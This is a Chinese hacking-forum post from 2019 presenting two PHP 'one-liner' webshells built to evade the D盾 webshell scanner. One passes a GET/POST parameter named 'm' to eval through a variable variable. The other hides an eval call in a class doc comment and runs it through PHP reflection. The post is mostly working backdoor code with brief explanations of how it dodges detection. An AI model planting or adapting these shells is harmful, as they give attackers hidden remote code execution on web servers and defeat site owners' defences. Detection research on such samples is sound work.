搜索
查看: 6528|回复: 0

两种php一句话过D盾的思路

[复制链接]

330

主题

177

回帖

1071

积分

vip用户

积分
1071

注册会员活跃会员热心会员

QQ
发表于 2019-3-12 15:46:28 | 显示全部楼层 |阅读模式
写在前面:两天前说好的分析脚本,现在就简单分析两个示例。本人菜鸟一个,主要是大家能一起学习。D哥,没有针对你的意图啊,我初中的时候还用啊D注入工具呢。。。

前两天的样本,想必D哥已经入库了。不过为啥是已知后门,感觉是还没没时间写匹配,采取的应急措施吧?

姿势一:可变变量数组
示例代码:

<?php          $a = 'GET';        //$a = 'POST';        $b = '_';        $c = $b.$a;        foreach($$c as $key => $value){            if($key == "m"){                eval($value);            }        }?>
简要分析:咳咳,变量a和b是为了逗比而已,无实际意义,要真要说有意义的话就是破坏_POST字符串。$$c这个可变变量就代表着$_POST数组,当数组成员为m(也就是$_POST['m'])的时候执行eval。

姿势二:反射类获取注释
示例代码:
[size=0.9em]PHP

<?php      /**       * eval($_GET[m]);    */              class Test { }      $rc = new ReflectionClass('Test');  //建立反射类的一个对象    $comment = $rc->getDocComment();    //执行反射类的一个成员函数,获取完整的注释。    $pos1 = strpos($comment,'eval');    //标记eval开始的位置    $pos2 = strpos($comment,';');       //标记结束的位置    $len = $pos2 - $pos1 + 1;           //获取语句长度    $cmd = substr($comment,$pos1,$len); //按长度截取字符串    eval($cmd);?>

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

×
有没有参加CTF比赛的,一起组队啊!
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表